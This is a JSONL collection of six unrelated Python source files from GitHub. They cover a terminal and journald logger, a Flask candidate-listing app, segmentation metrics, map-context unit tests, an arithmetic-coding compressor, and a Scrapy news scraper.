+{"seq_id":"22230882282","text":"#!/usr/bin/env python3\nimport os\nimport time\nimport tput\nimport logging\nimport platform\n\nfrom enum import Enum\nfrom subprocess import Popen, PIPE, DEVNULL\n\nos.system(\"\")  # Enable ANSI color codes\n\n\nclass ColorCodes(Enum):\n    \"\"\"\n    The color codes for command line output\n    \"\"\"\n    RED = \"\\u001b[31m\"\n    GREEN = \"\\u001b[32m\"\n    YELLOW = \"\\u001b[33m\"\n    BLUE = \"\\u001b[34m\"\n    MAGENTA = \"\\u001b[35m\"\n    CYAN = \"\\u001b[36m\"\n    DEFAULT = \"\\u001b[0m\"\n\n    _RED = \"\\u001b[0;31m\"\n    _GREEN = \"\\u001b[0;32m\"\n    _YELLOW = \"\\u001b[0;33m\"\n    _BLUE = \"\\u001b[0;34m\"\n    _MAGENTA = \"\\u001b[0;35m\"\n    _CYAN = \"\\u001b[0;36m\"\n    _DEFAULT = \"\\u001b[0;0m\"\n\n\nif platform.system() not in (\"Darwin\", \"Windows\"):\n    from systemd import journal  # pylint: disable=import-error\n#     name = __name__\n#     log = logging.getLogger(name)\n#     log_fmt = logging.Formatter(\"%(levelname)s %(message)s\")\n#     log_ch = journal.JournaldLogHandler()\n#     log_ch.setFormatter(log_fmt)\n#     log.addHandler(log_ch)\n#     log.setLevel(logging.DEBUG)\n#     log.warning(\"loggr warn\")\n#     log.info(\"loggr info\")\n#     log.error(\"loggr error\")\n#     log.debug(\"loggr debug\")\n\n\nclass Vt():\n    \"\"\"Helper logger class for VT\n    \"\"\"\n\n    def __init__(self, vt_number, use_sudo=False, loggr=None):\n        self.vt_term = None\n        self.vt = None\n        self.vt_number = vt_number\n        self.use_sudo = use_sudo\n        self.loggr = loggr\n        if vt_number is None or vt_number == 0:\n            return\n        self.term = None\n        if os.name == 'nt':  # TODO: (when needed) include MacOS\n            pass\n        else:\n            self.term = f'/dev/tty{vt_number:d}'\n        if self.term:\n            if self.use_sudo:\n                pass\n            else:\n                try:\n                    if self.loggr:\n                        self.loggr.debug(f'VT({self.vt_number}) vt.opening {self.term}')\n                    self.vt = open(self.term, \"w\", encoding='utf-8')\n                except Exception as err:\n                    if self.loggr:\n                        self.loggr.error(f'VT({self.vt_number}) Open failed, error {type(err)} {err}, VT output disabled.')\n                    self.vt = None\n                    self.vt_number = 0\n        # self.tput_clear = tput.tput('clear', (), self.vt_term)\n        self.tput_cnorm = tput.tput('cnorm', (), self.vt_term)\n        self.tput_civis = tput.tput('civis', (), self.vt_term)\n\n    def __del__(self):\n        if self.vt:\n            # show cursor\n            self.vt.write(self.tput_cnorm)\n            self.flush()\n            self.vt.close()\n            if self.loggr:\n                self.loggr.debug(f'VT({self.vt_number}) vt.closed')\n\n    # def clear(self):\n    #     if self.vt:\n    #         if self.loggr: self.loggr.debug(f'VT({self.vt_number}) vt.clear()')\n    #         self.vt.write(self.tput_clear)\n    #         self.flush()\n\n    def print(self, *tstr, end='\\n', sep=' '):\n        proc = None\n        file = None\n        if self.use_sudo and self.term:\n            try:\n                # cmd = ['sudo', 'tee', self.term, '>', '/dev/null']\n                cmd = ['sudo', 'tee', self.term]\n                if self.loggr:\n                    self.loggr.debug(f'VT({self.vt_number}) Popen({\" \".join(cmd)})')\n                proc = Popen(cmd, stdin=PIPE, stdout=DEVNULL, stderr=DEVNULL, text=True)\n                file = proc.stdin\n            except Exception as err:\n                if self.loggr:\n                    self.loggr.error(f'VT({self.vt_number}) Popen() failed, error {type(err)} {err}, VT output disabled.')\n                proc = None\n                file = None\n                self.use_sudo = False  # Disable future tries\n        elif self.vt:\n            file = self.vt\n            if self.loggr:\n                self.loggr.debug(f'VT({self.vt_number}) vt.print()')\n\n        if file:\n            try:\n                separator = None\n                for item in tstr:\n                    if separator:\n                        file.write(separator)\n                    file.write(str(item))\n                    separator = sep\n                if end:\n                    file.write(end)\n                file.flush()\n            except Exception as err:\n                if self.loggr:\n                    self.loggr.error(f'VT({self.vt_number}) file.write() failed, error {type(err)} {err}')\n\n        if self.use_sudo and proc:\n            if self.loggr:\n                self.loggr.debug(f'VT({self.vt_number}) Close Popen({\" \".join(cmd)})')\n            file.close()\n            proc.wait()\n\n    def flush(self):\n        if self.vt:\n            if self.loggr:\n                self.loggr.debug(f'VT({self.vt_number}) vt.flush()')\n            self.vt.flush()\n\n\nclass Loggr:\n    \"\"\"\n    Multi-logger, helps organize output / logs to:\n        1. VT\n        2. stdout\n        3. journal\n    \"\"\"\n\n    def __init__(self, use_vt_number=None, use_stdout=True, use_journal_name=None, use_sudo=False, level=logging.DEBUG, primary_loggr=None):\n        self.level = level\n        self.primary_loggr = primary_loggr\n        self.stdout_term = None  # Define TERM for stdout\n        self.use_vt_number = use_vt_number\n        self.vt_term = None  # Define TERM for vt\n        self.vt = Vt(use_vt_number, use_sudo=use_sudo, loggr=primary_loggr) if use_vt_number else None\n        self.use_stdout = use_stdout\n        self.use_journal_name = use_journal_name\n        self.journal = None\n        if use_journal_name and os.name != 'nt':\n            self.journal = logging.getLogger(use_journal_name)\n            self.journal.propagate = False  # Important to disallow sending the logs to the parent.\n            log_fmt = logging.Formatter(\"%(levelname)s %(message)s\")\n            if platform.system() not in (\"Darwin\", \"Windows\"):\n                try:\n                    # This API from `pip install systemd~=0.16.1`, however, it fails installing / compiling on 64-bit RPI OS\n                    log_ch = journal.JournaldLogHandler()\n                except:\n                    # This API from `apt-get install python3-systemd` (or `pip install systemd-python`, but that requires more apt packages, so use pre-packaged apt package instead)\n                    log_ch = journal.JournalHandler()\n                log_ch.setFormatter(log_fmt)\n                self.journal.addHandler(log_ch)\n            self.setLevel(level)\n\n    def setLevel(self, level):\n        self.level = level\n        if self.journal:\n            # self.journal.setLevel(level) # TODO: (when needed) Need a more elegant way to set separate log levels\n            self.journal.setLevel(logging.DEBUG)\n\n    def cls(self, *tstr):\n        \"\"\"\n        Clear screen, and optionally print.\n        \"\"\"\n        self.tput_print('clear', ())\n        if len(tstr) > 0:\n            self.print(*tstr)\n\n    def log(self, level, color_code, *tstr):\n        \"\"\"\n        Print message(s), with log level that can be masked\n        \"\"\"\n        if not level:\n            level = logging.NOTSET\n        if level >= self.level:\n            level_str = f'{logging.getLevelName(level):8s}'\n            if self.vt:\n                self.vt.print(level_str, *tstr)\n            if self.use_stdout:\n                self.color_print(f\"{level_str}: {' '.join(tstr)}\", color_code=color_code)\n            if self.journal:\n                self.journal.log(level, *tstr)\n\n    def critical(self, *tstr):\n        self.log(logging.CRITICAL, ColorCodes.RED, *tstr)\n\n    def error(self, *tstr):\n        self.log(logging.ERROR, ColorCodes.YELLOW, *tstr)\n\n    def warning(self, *tstr):\n        self.log(logging.WARNING, ColorCodes.BLUE, *tstr)\n\n    def info(self, *tstr):\n        self.log(logging.INFO, ColorCodes.CYAN, *tstr)\n\n    def debug(self, *tstr):\n        self.log(logging.DEBUG, ColorCodes.DEFAULT, *tstr)\n\n    def print(self, *tstr, end: str = '\\n', sep=' ', **kwargs):\n        \"\"\"\n        Print message(s), unmasked\n        \"\"\"\n        if self.vt:\n            self.vt.print(*tstr, end=end, sep=sep, **kwargs)\n        if self.use_stdout:\n            print(*tstr, end=end, sep=sep, **kwargs)\n        if self.journal:\n            self.journal.info(*tstr, **kwargs)\n\n    def log_box(self, text: str, width: int = 50, color_code=ColorCodes.DEFAULT) -> None:\n        \"\"\"\n        Log provided text in a box of given width (centered)\n\n        Example:\n        ┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓\n        ┃            Test Setup            ┃\n        ┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛\n\n        Args:\n            text    Text to log in box\n            width   Width of box to create\n        \"\"\"\n        if width is None:\n            width = len(text) * 2\n        self.color_print(\"┏\" + \"━\"*width + \"┓\")\n        self.color_print(\"┃\", end='')\n        self.color_print(f\"{text:^{width}}\", color_code=color_code, end='')\n        self.color_print(\"┃\")\n        self.color_print(\"┗\" + \"━\"*width + \"┛\")\n\n    def get_user_input(self, text: str, color_code: str = ColorCodes.YELLOW) -> str:\n        \"\"\"\n        Gets user input utilizing colored text\n\n        Args:\n            text: The user prompt to display\n            color_code: The color you want to print the text to the console as\n\n        Returns:\n            str : User input\n        \"\"\"\n        self.color_print(text, color_code=color_code, end=' ')\n        return input()\n\n    def get_user_yes_no_input(self, text: str, color_code: str = ColorCodes.YELLOW) -> bool:\n        \"\"\"\n        Gets a yes/no user confirmation\n\n        Args:\n            text: The user prompt to display (Yes/No instructions are expected to be included here)\n            color_code: The color you want to print the text to the console as\n\n        Returns:\n            bool : True if \"Yes\", False if \"No\"\n        \"\"\"\n        result = False\n        while True:\n            response = self.get_user_input(text, color_code)\n            if response.lower() in (\"yes\", 'y'):\n                result = True\n                break\n            elif response.lower() in (\"no\", 'n'):\n                result = False\n                break\n            else:\n                self.color_print(\"Response must be [Y]es or [N]o.\", ColorCodes.RED)\n        return result\n\n    def color_print(self, text: str, color_code: str = ColorCodes.DEFAULT, end: str = '\\n', filter_text: str = \"\") -> None:\n        \"\"\"\n        Prints the text as both an std output using the given color code\n\n        Args:\n            text        : The text to output and save\n            color_code  : The color you want to print the text to the console as\n            end         : String to print at the end of the text\n            filter_text : Text that should appear as colored\n        \"\"\"\n        color_code = color_code.value\n        if filter_text == \"\":\n            filter_text = text\n        elif filter_text not in text:\n            color_code = ColorCodes.DEFAULT.value\n            filter_text = text\n        index = text.find(filter_text)\n        strlen = len(filter_text)\n        self.print(text[:index] + color_code + text[index:index+strlen] + ColorCodes.DEFAULT.value + text[index+strlen:], end=end)\n\n    def position(self, x, y, *tstr):\n        \"\"\"\n        Move cursor to position on screen, and optionally print.\n        0,0 is top left, x is horizontal, y is vertical.\n        \"\"\"\n        self.tput_print('cup', (y, x))\n        if len(tstr) > 0:\n            self.print(*tstr)\n\n    def el(self, *tstr):\n        \"\"\"\n        Clear to end of line, and optionally print.\n        \"\"\"\n        self.tput_print('el', ())\n        if len(tstr) > 0:\n            self.print(*tstr)\n\n    def ed(self, *tstr):\n        \"\"\"\n        Clear to end of display, and optionally print.\n        \"\"\"\n        self.tput_print('ed', ())\n        if len(tstr) > 0:\n            self.print(*tstr)\n\n    def dl(self, num=1):\n        \"\"\"\n        Delete <num> lines.\n            ('dl'   , ( 2,   )),   #  DL      Delete #1 lines (P*)\n        \"\"\"\n        self.tput_print('dl', (num, ))\n\n    def ech(self, num=1):\n        \"\"\"\n        Delete <num> characters.\n        \"\"\"\n        self.tput_print('ech', (num, ))\n\n    def cnorm(self):\n        \"\"\"\n        Cursor normal.\n        \"\"\"\n        self.tput_print('cnorm', ())\n\n    def cblock(self):\n        \"\"\"\n        Cursor block.\n        \"\"\"\n        self.tput_print('cvvis', ())\n\n    def civis(self):\n        \"\"\"\n        Cursor invisible.\n        \"\"\"\n        self.tput_print('civis', ())\n\n    def cols(self, term=None):\n        str_val = self.tput('cols', (), term)\n        return int(str_val)\n\n    def lines(self, term=None):\n        str_val = self.tput('lines', (), term)\n        return int(str_val)\n\n    # TODO: (soon) Use tput.tput for Escape sequences, e.g.:\n    #  TNORM=$(TERM=linux tput.tput cnorm | sed -n l) ;# Get escape sequence and convert 0x1B into readable form. Side-effect: adds '$' at the end.\n    #  TNORM=\"${TNORM%$}\" ;# Trim '$' at the end\n\n    # TODO: (when needed) Implement erase line to end\n    # TODO: (when needed) Implement color text codes\n    # TODO: (when needed) Implement bold text codes\n\n    # Expose tput.tput for our own commands\n    def tput(self, code, args=(), term=None):\n        return tput.tput(code, args, term)\n\n    def tput_print(self, code, args=()):\n        str_val = self.tput(code, args, self.vt_term)\n        if self.vt:\n            self.vt.print(str_val, end='')\n        if self.use_stdout:\n            str_val = self.tput(code, args, self.stdout_term)\n            print(str_val, end='')\n\n    # TODO: (when needed) Implement color text codes\n    # TODO: (when needed) Implement bold text codes\n\n\n# Quick unit check\ndef quick_check():\n    l = Loggr(use_vt_number=2, use_journal_name='testloggr', use_stdout=True)\n    print(\"sleeping 3\")\n    time.sleep(3)\n    l.cls('cleared!')\n    l.log(logging.INFO, 'voila1')\n    l.log(logging.INFO, 'voila2')\n    l.position(10, 40)\n    l.log(logging.INFO, 'position 10,42')\n    print(\"sleeping 3\")\n    time.sleep(3)\n    l.print('DONE')\n    # print(\"DONE\")\n\n\ndef position_check():\n    l = Loggr(use_vt_number=2, use_journal_name='testloggr', use_stdout=True)\n    print(\"sleeping 3\")\n    time.sleep(5)\n    l.cls('0,0')\n    l.position(10, 10, '10,10')\n    l.position(0, 10, '0,10')\n    l.position(30, 3, '30,3')\n    l.position(20, 2, '20,2')\n    l.position(10, 1, '10,1')\n    l.position(20, 10, '20,10')\n    l.position(1, 9, '1,9')\n    l.position(0, 11, '0,11')\n\n    print(\"sleeping 3\")\n    time.sleep(3)\n    l.print('DONE')\n    # print(\"DONE\")\n\n\ndef vt_check():\n    l = Loggr(use_vt_number=4, use_journal_name=None, use_stdout=None, use_sudo=True)\n    l.cls('0,0')\n    l.position(10, 10, '10,10')\n    l.position(0, 10, '0,10')\n    l.position(30, 3, '30,3')\n    l.position(20, 2, '20,2')\n    l.position(10, 1, '10,1')\n    l.position(20, 10, '20,10')\n    l.position(1, 9, '1,9')\n    l.position(0, 11, '0,11')\n    l.print('DONE')\n    # print(\"DONE\")\n\n\ndef journal_check():\n    # Trying to screw up journal\n    # Creating a root logger may break the journal logger (it will also log to the console through it's parent).\n    logging.basicConfig(level=logging.INFO)\n    g_logger = logging.getLogger(__name__ if __name__ != '__main__' else None)\n    g_logger.setLevel(logging.DEBUG)\n\n    l = Loggr(use_vt_number=None, use_journal_name='testloggrjournal', use_stdout=None)\n    # These should appear only in journal, not on the console:\n    # l.critical(\"loggr critical\")\n    l.error(\"loggr error\")\n    l.warning(\"loggr warn\")\n    l.info(\"loggr info\")\n    l.debug(\"loggr debug\")\n    l.print('DONE')\n    # print(\"DONE\")\n\n\nif __name__ == \"__main__\":\n    # quick_check()\n    # position_check()\n    # vt_check()\n    journal_check()\n","repo_name":"iva2k/pi-base","sub_path":"pi_base/lib/loggr.py","file_name":"loggr.py","file_ext":"py","file_size_in_byte":15764,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"6986735668","text":"import utils\n\nfrom flask import Flask, render_template\n\napp = Flask(__name__)\n\n\n@app.route('/')\ndef main_page():\n    candidates = utils.load_candidates_from_json(\"candidates.json\")\n    return render_template('list.html', candidates=candidates)\n\n\n@app.route('/candidate/<int:id>')  # страница кандидата\ndef candidate_page(id):\n    candidate = utils.get_candidate(id)\n    return render_template('single.html', candidate=candidate)\n\n\n@app.route('/search/<candidate_name>')  # страница поиска по имени кандидата\ndef search_by_name(candidate_name):\n    candidates = utils.get_candidates_by_name(candidate_name)\n    return render_template('search.html', candidates=candidates, len_candidates=len(candidates))\n\n\n@app.route('/skill/<skill_name>')  # страница поиска кандидата по скилам\ndef search_by_skill(skill_name):\n    candidates = utils.get_candidates_by_skill(skill_name)\n    return render_template('skill.html', candidates=candidates, len_candidates=len(candidates), skill_name=skill_name)\n\n\napp.run()\n","repo_name":"Oksana911/homework_11","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1079,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"71411832818","text":"import numpy as np\nimport torch\n\n\ndef dice_confusion_matrix(batch_output, labels_batch, num_classes):\n    dice_cm = torch.zeros(num_classes, num_classes)\n    for i in range(num_classes):\n        GT =  (labels_batch == i).float()\n        for j in range(num_classes):\n            Pred = (batch_output == j).float()\n            inter = torch.sum(torch.mul(GT, Pred)) + 0.0001\n            union = torch.sum(GT) + torch.sum(Pred) + 0.0001\n\n            dice_cm[i, j] = 2 * torch.div(inter, union)\n\n    avg_dice = torch.mean(torch.diagonal(dice_cm))\n\n    return avg_dice, dice_cm\n\n\nclass RunningScore(object):\n    def __init__(self, n_classes):\n        self.n_classes = n_classes\n        self.confusion_matrix = np.zeros((n_classes, n_classes))\n\n    def _fast_hist(self, label_true, label_pred, n_class):\n        mask = (label_true >= 0) & (label_true < n_class)\n        hist = np.bincount(\n            n_class * label_true[mask].astype(int) + label_pred[mask],\n            minlength=n_class ** 2,\n        ).reshape(n_class, n_class)\n        return hist\n\n    def update(self, label_trues, label_preds):\n        for lt, lp in zip(label_trues, label_preds):\n            self.confusion_matrix += self._fast_hist(\n                lt.flatten(), lp.flatten(), self.n_classes\n            )\n\n\n    def get_scores(self):\n        \"\"\"Returns accuracy score evaluation result.\n            - overall accuracy\n            - mean accuracy\n            - mean IU\n            - fwavacc\n        \"\"\"\n        hist = self.confusion_matrix\n        acc = np.diag(hist).sum() / hist.sum()\n        acc_cls = np.diag(hist) / hist.sum(axis=1)\n        acc_cls = np.nanmean(acc_cls)\n        iu = np.diag(hist) / (hist.sum(axis=1) + hist.sum(axis=0) - np.diag(hist))\n        mean_iu = np.nanmean(iu)\n        freq = hist.sum(axis=1) / hist.sum()\n        fwavacc = (freq[freq > 0] * iu[freq > 0]).sum()\n        cls_iu = dict(zip(range(self.n_classes), iu))\n\n        return (\n            {\n                \"Overall Acc: \\t\": acc,\n                \"Mean Acc : \\t\": acc_cls,\n                \"FreqW Acc : \\t\": fwavacc,\n                \"Mean IoU : \\t\": mean_iu,\n            },\n            cls_iu,\n        )\n\n    def reset(self):\n        self.confusion_matrix = np.zeros((self.n_classes, self.n_classes))\n\n","repo_name":"emadRad/UNet-Baseline","sub_path":"metrics.py","file_name":"metrics.py","file_ext":"py","file_size_in_byte":2258,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"57"}
+{"seq_id":"19316651951","text":"import os\nimport unittest\n\nfrom Products.CPSGeo.Map import Map\nfrom Products.CPSGeo.ogclib import wmc\nfrom Products.CPSGeo.ogclib import wms\n\nclass WMCBaseTestCase(unittest.TestCase):\n\n    def test_contex_bounds(self):\n        map_context = self._makeOneContext()\n        ebounds = map_context._getBoundingBoxElement()\n        self.assertEqual(ebounds.get('minx'), '-180.0')\n        self.assertEqual(ebounds.get('miny'), '-90.0')\n        self.assertEqual(ebounds.get('maxx'), '180.0')\n        self.assertEqual(ebounds.get('maxy'), '90.0')\n\n    def test_contex_bounds_with_initial_value(self):\n        map_context = self._makeOneContext(bounds='0 0 0 0')\n        ebounds = map_context._getBoundingBoxElement()\n        self.assertEqual(ebounds.get('minx'), '0')\n        self.assertEqual(ebounds.get('miny'), '0')\n        self.assertEqual(ebounds.get('maxx'), '0')\n        self.assertEqual(ebounds.get('maxy'), '0')\n\n    def test_contex_bounds_with_incorrect_initial_value(self):\n        map_context = self._makeOneContext(bounds='0 0 0')\n        self.assertRaises(wmc.WMCError, map_context._getBoundingBoxElement)\n\n    def test_contex_srs(self):\n        map_context = self._makeOneContext()\n        ebounds = map_context._getBoundingBoxElement()\n        self.assertEqual(ebounds.get('SRS'), 'EPSG:4326')\n\n    def test_contex_srs_with_initial_value(self):\n        map_context = self._makeOneContext(SRS='EPSG:XXXX')\n        ebounds = map_context._getBoundingBoxElement()\n        self.assertEqual(ebounds.get('SRS'), 'EPSG:XXXX')\n\n    def test_contex_srs_with_initial_incorrect_value(self):\n        map_context = self._makeOneContext(SRS='XXXX')\n        self.assertRaises(wmc.WMCError, map_context._getBoundingBoxElement)\n\n    def test_contex_size(self):\n        map_context = self._makeOneContext()\n        ebounds = map_context._getWindowElement()\n        self.assertEqual(ebounds.get('width'), '480')\n        self.assertEqual(ebounds.get('height'), '240')\n\n    def test_contex_size_with_initial_value(self):\n        map_context = self._makeOneContext(size='800 600')\n        ebounds = map_context._getWindowElement()\n        self.assertEqual(ebounds.get('width'), '800')\n        self.assertEqual(ebounds.get('height'), '600')\n\n    def test_contex_size_with_initial_incorrect_value(self):\n        map_context = self._makeOneContext(size='800')\n        self.assertRaises(wmc.WMCError, map_context._getWindowElement)\n\nclass MapContextTestCase(WMCBaseTestCase):\n\n    def setUp(self):\n        self._this_directory = os.path.split(__file__)[0]\n        url = 'http://wms.jpl.nasa.gov/wms.cgi'\n        self._map = Map('map', url)\n\n    def _makeOneContext(self, **kw):\n        return wmc.MapContext(self._map, **kw)\n\nclass AggMapContextTestCase(WMCBaseTestCase):\n\n    def setUp(self):\n        self._this_directory = os.path.split(__file__)[0]\n        url = 'http://wms.jpl.nasa.gov/wms.cgi'\n        self._map = Map('map', url)\n\n    def _makeOneContext(self, **kw):\n        return wmc.AggregateMapContext(self._map, **kw)\n\n# For the next test case testing the encoding of the capilities\n# document.\nclass FakeMap(Map):\n    def __init__(self, id, url='', name=None, title=None, size='',\n                 bounds=\"\", srs='', format=None, layers=[]):\n        \"\"\"Initialize\"\"\"\n        this_directory = os.path.split(__file__)[0]\n        filepath = os.path.join(\n            this_directory,\n            'capa_agri.xml')\n        reader = wms.WMSCapabilitiesReader('1.1.1')\n        self._cap = reader.readString(open(filepath, 'r').read())\n        self.name = self._cap.servicename() or name\n        self.title = self._cap.servicetitle() or title\n        self.layernames = self._cap.layernames()\n        self.layertitles = self._cap.layertitles()\n        self.formatlist = self._cap.getmapformats()\n        self.srslist = self._cap.layersrs()\n        self.size = tuple(size)\n        self.srs = self._cap.getSRS()\n        self.bounds = self._cap.getBounds(self.srs)\n        self.format = format\n        self.visible_layers = tuple(layers)\n        self.url = \"http://foo.bar\"\n\n    def _readCapabilities(self):\n        return self._cap\n\nclass EncodingTestCase(unittest.TestCase):\n\n    # agricms usecase\n\n    def setUp(self):\n        fake_map = FakeMap('fake')\n        self._wmc = wmc.MapContext(map_=fake_map)\n        self._aggwmc = wmc.AggregateMapContext(map_=fake_map)\n\n    def test_getLayerElement(self):\n        self._wmc._getLayerListElement()\n        self._aggwmc._getLayerListElement()\n\ndef test_suite():\n    suite = unittest.TestSuite()\n    suite.addTest(unittest.makeSuite(MapContextTestCase))\n    suite.addTest(unittest.makeSuite(AggMapContextTestCase))\n    suite.addTest(unittest.makeSuite(EncodingTestCase))\n    return suite\n\nif __name__ == '__main__':\n    unittest.main(defaultTest='test_suite')    \n\n    \n","repo_name":"nuxeo-cps/products--CPSGeo","sub_path":"tests/testWMC.py","file_name":"testWMC.py","file_ext":"py","file_size_in_byte":4798,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"70601117617","text":"\"\"\"\nParts of this code are taken from and inspired by the code of\nhttps://github.com/gabilodeau/INF8770/blob/master/Codage%20arithmetique.ipynb\nhttps://github.com/nayuki/Reference-arithmetic-coding\nhttps://github.com/ahmedfgad/ArithmeticEncodingPython\n\"\"\"\nimport numpy\nimport matplotlib.pyplot as py\nimport arithmeticcoding\n\n\n# Allows to do an arithmetic coding on a text\ndef text_arithmetic_coding(message, debug):\n    ascii_message = []\n\n    for i in range(0, len(message)):\n        ascii_message.append(ord(message[i]))\n\n    # Parameters to change depending on message size\n    min_symb = 0\n    max_symb = max(ascii_message)\n\n    # Read input file once to compute symbol frequencies\n    freqs = get_frequencies(ascii_message, min_symb, max_symb)\n\n    if debug is True:\n        print(freqs)\n\n    freqs_length = write_frequencies(freqs)\n    binary_code = compress(freqs, ascii_message, min_symb)\n\n    if debug is True:\n        print(\"The binary code is: {binary_code}\".format(binary_code=binary_code))\n\n    return freqs, freqs_length, binary_code, min_symb\n\n\n# Allows to do an arithmetic coding on a message composed of a sequence of errors\ndef error_arithmetic_coding(message, debug):\n    ascii_message = []\n\n    for i in range(0, len(message)):\n        if isinstance(message[i], int) or isinstance(message[i], numpy.int32):\n            ascii_message.append(message[i])\n        else:\n            ascii_message.append(ord(message[i]))\n\n    # Paramètre à changer selon l'encodage\n    min_symb = min(ascii_message)\n    max_symb = max(ascii_message)\n\n    neg_value = False\n    # the minimum of the frequency table is 0, so we add an offset to add the negative numbers\n    if min_symb < 0:\n        neg_value = True\n        max_symb += abs(min_symb)\n\n    freqs = get_frequencies(ascii_message, min_symb, max_symb, neg_value)\n\n    if debug is True:\n        print(freqs)\n\n    freqs_length = write_frequencies(freqs)\n    binary_code = compress(freqs, ascii_message, min_symb, neg_value)\n\n    if debug is True:\n        print(\"The binary code is: {binary_code}\".format(binary_code=binary_code))\n    return freqs, freqs_length, binary_code, min_symb\n\n\n# Allows to do an arithmetic coding on an image\ndef image_arithmetic_coding(image, debug):\n    image = image.astype('uint8')\n    message = image.flatten()\n\n    # The value of a pixel on an axis is in 8bits\n    min_symb = 0\n    max_symb = 255\n\n    freqs = get_frequencies(message, min_symb, max_symb)\n    if debug is True:\n        print(freqs)\n\n    freqs_length = write_frequencies(freqs)\n    binary_code = compress(freqs, message, min_symb)\n\n    if debug is True:\n        print(\"The binary code is: {binary_code}\".format(binary_code=binary_code))\n    return freqs, freqs_length, binary_code, min_symb\n\n\n# Allows to execute the arithmetic algo\n# Inspired by https://github.com/nayuki/Reference-arithmetic-coding\ndef compress(freqs, message, min_symb, neg_value=False):\n    enc = arithmeticcoding.ArithmeticEncoder(32)\n    for i in range(0, len(message)):\n        if neg_value:\n            symbol = message[i] + abs(min_symb)\n        else:\n            symbol = message[i] - min_symb\n        enc.write(freqs, symbol)\n    enc.finish()  # Flush remaining code bits\n    return enc.binary_code\n\n\n# Allows to calculate the length to save the frequencies table\n# We need 8 bits to encode the symbol and 32 to encode an int\ndef write_frequencies(freqs):\n    nb_symbols = 0\n    for i in range(0, len(freqs.frequencies)):\n        if freqs.get(i) > 0:\n            nb_symbols += 1\n    return nb_symbols * 40\n\n\n# Allows to calculate frequencies table\n# Inspired by https://github.com/nayuki/Reference-arithmetic-coding\ndef get_frequencies(message, min_symb, max_symb, neg_value=False):\n    freqs = arithmeticcoding.SimpleFrequencyTable([0] * (max_symb - min_symb + 1))\n    for i in range(0, len(message)):\n        if neg_value:\n            freqs.increment(message[i] + abs(min_symb))\n        else:\n            freqs.increment(message[i] - min_symb)\n    return freqs\n\n\n# Allows to decode a text encoded with the arithmetic decoding to text that the result is correct\ndef text_arithmetic_decoding(message, binary_code, freqs, min_symb, as_string, debug=False):\n    dec = arithmeticcoding.ArithmeticDecoder(32, binary_code)\n    decoded_msg = []\n\n    for i in range(0, len(message)):\n        symbol = dec.read(freqs) + min_symb\n        decoded_msg.append(chr(symbol))\n\n    if as_string:\n        decoded_msg = \"\".join(decoded_msg)\n\n    if debug is True:\n        print(\"Decoded Message: {msg}\".format(msg=decoded_msg))\n\n    return message == decoded_msg\n\n\n# Allows to decode a list of error encoded with the arithmetic decoding to text that the result is correct\ndef error_arithmetic_decoding(message, binary_code, freqs, min_symb, image=False, debug=False):\n    dec = arithmeticcoding.ArithmeticDecoder(32, binary_code)\n    decoded_msg = []\n\n    for i in range(0, len(message)):\n        symbol = dec.read(freqs) + min_symb\n        decoded_msg.append(symbol)\n\n    if image is False:\n        decoded_msg[0] = chr(decoded_msg[0])\n\n    if debug is True:\n        print(\"Decoded Message: {msg}\".format(msg=decoded_msg))\n    return message == decoded_msg\n\n\n# Allows to decode an image encoded with the arithmetic decoding to text that the result is correct\n# Inspired by https://github.com/ahmedfgad/ArithmeticEncodingPython\ndef image_arithmetic_decoding(image, binary_code, freqs, min_symb, debug):\n    message = image.astype('uint8').flatten()\n\n    dec = arithmeticcoding.ArithmeticDecoder(32, binary_code)\n    decoded_msg = []\n\n    for i in range(0, len(message)):\n        symbol = dec.read(freqs) + min_symb\n        decoded_msg.append(symbol)\n\n    if debug:\n        print(\"Decoded Message: {msg}\".format(msg=decoded_msg))\n\n    # Reshape the image to its original shape.\n    decoded_img = numpy.reshape(decoded_msg, image.shape)\n\n    if debug:\n        # Show the original and decoded images.\n        fig, ax = py.subplots(1, 2)\n        ax[0].imshow(image, cmap=\"gray\")\n        ax[0].set_title(\"Original Image\")\n        ax[0].set_xticks([])\n        ax[0].set_yticks([])\n        ax[1].imshow(decoded_img, cmap=\"gray\")\n        ax[1].set_title(\"Reconstructed Image\")\n        ax[1].set_xticks([])\n        ax[1].set_yticks([])\n        py.show()\n\n    return decoded_msg == message\n","repo_name":"bdeleglise/Comparison-of-coding-methods","sub_path":"arithmetic_coding.py","file_name":"arithmetic_coding.py","file_ext":"py","file_size_in_byte":6294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"31371556083","text":"import scrapy\nfrom scrapy.crawler import CrawlerProcess\n\ndef string_cleaner(text):\n    if text != None:\n        return (\"\".join(text.strip()).encode('cp860', 'ignore').decode(\"cp860\"))\n    else:\n        return None\n\nclass Spider(scrapy.Spider):\n    name = \"aeronautas\"\n    start_urls = ['https://www.aeronautas.org.br/index.php/noticias']\n\n    def parse(self, response):\n        for post in response.css('article'):\n            yield {\n                'titulo': string_cleaner(post.css('header h2 a ::text').extract_first().replace(\"\\n\\t\\t\\t\\t\", \"\")),\n                'conteudo': string_cleaner(post.css('section').get()),\n                'data': post.css('time::attr(datetime)').extract_first(),\n                'link': post.css('h2 a').extract_first(),\n            }\n        next_page = response.css('.pagination li a ::attr(href)').extract()\n        next_page = next_page[len(next_page) - 2]\n        if next_page:\n            yield scrapy.Request(\n                response.urljoin(next_page),\n                callback=self.parse\n            )\nprocess = CrawlerProcess(settings={\n    \"FEEDS\": {\n        \"posts.csv\": {\"format\": \"csv\"},\n    }\n})\n\nprocess.crawl(Spider)\nprocess.start()\n","repo_name":"wwwxkz/aeronautasCrawler","sub_path":"scraper.py","file_name":"scraper.py","file_ext":"py","file_size_in_byte":1185,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
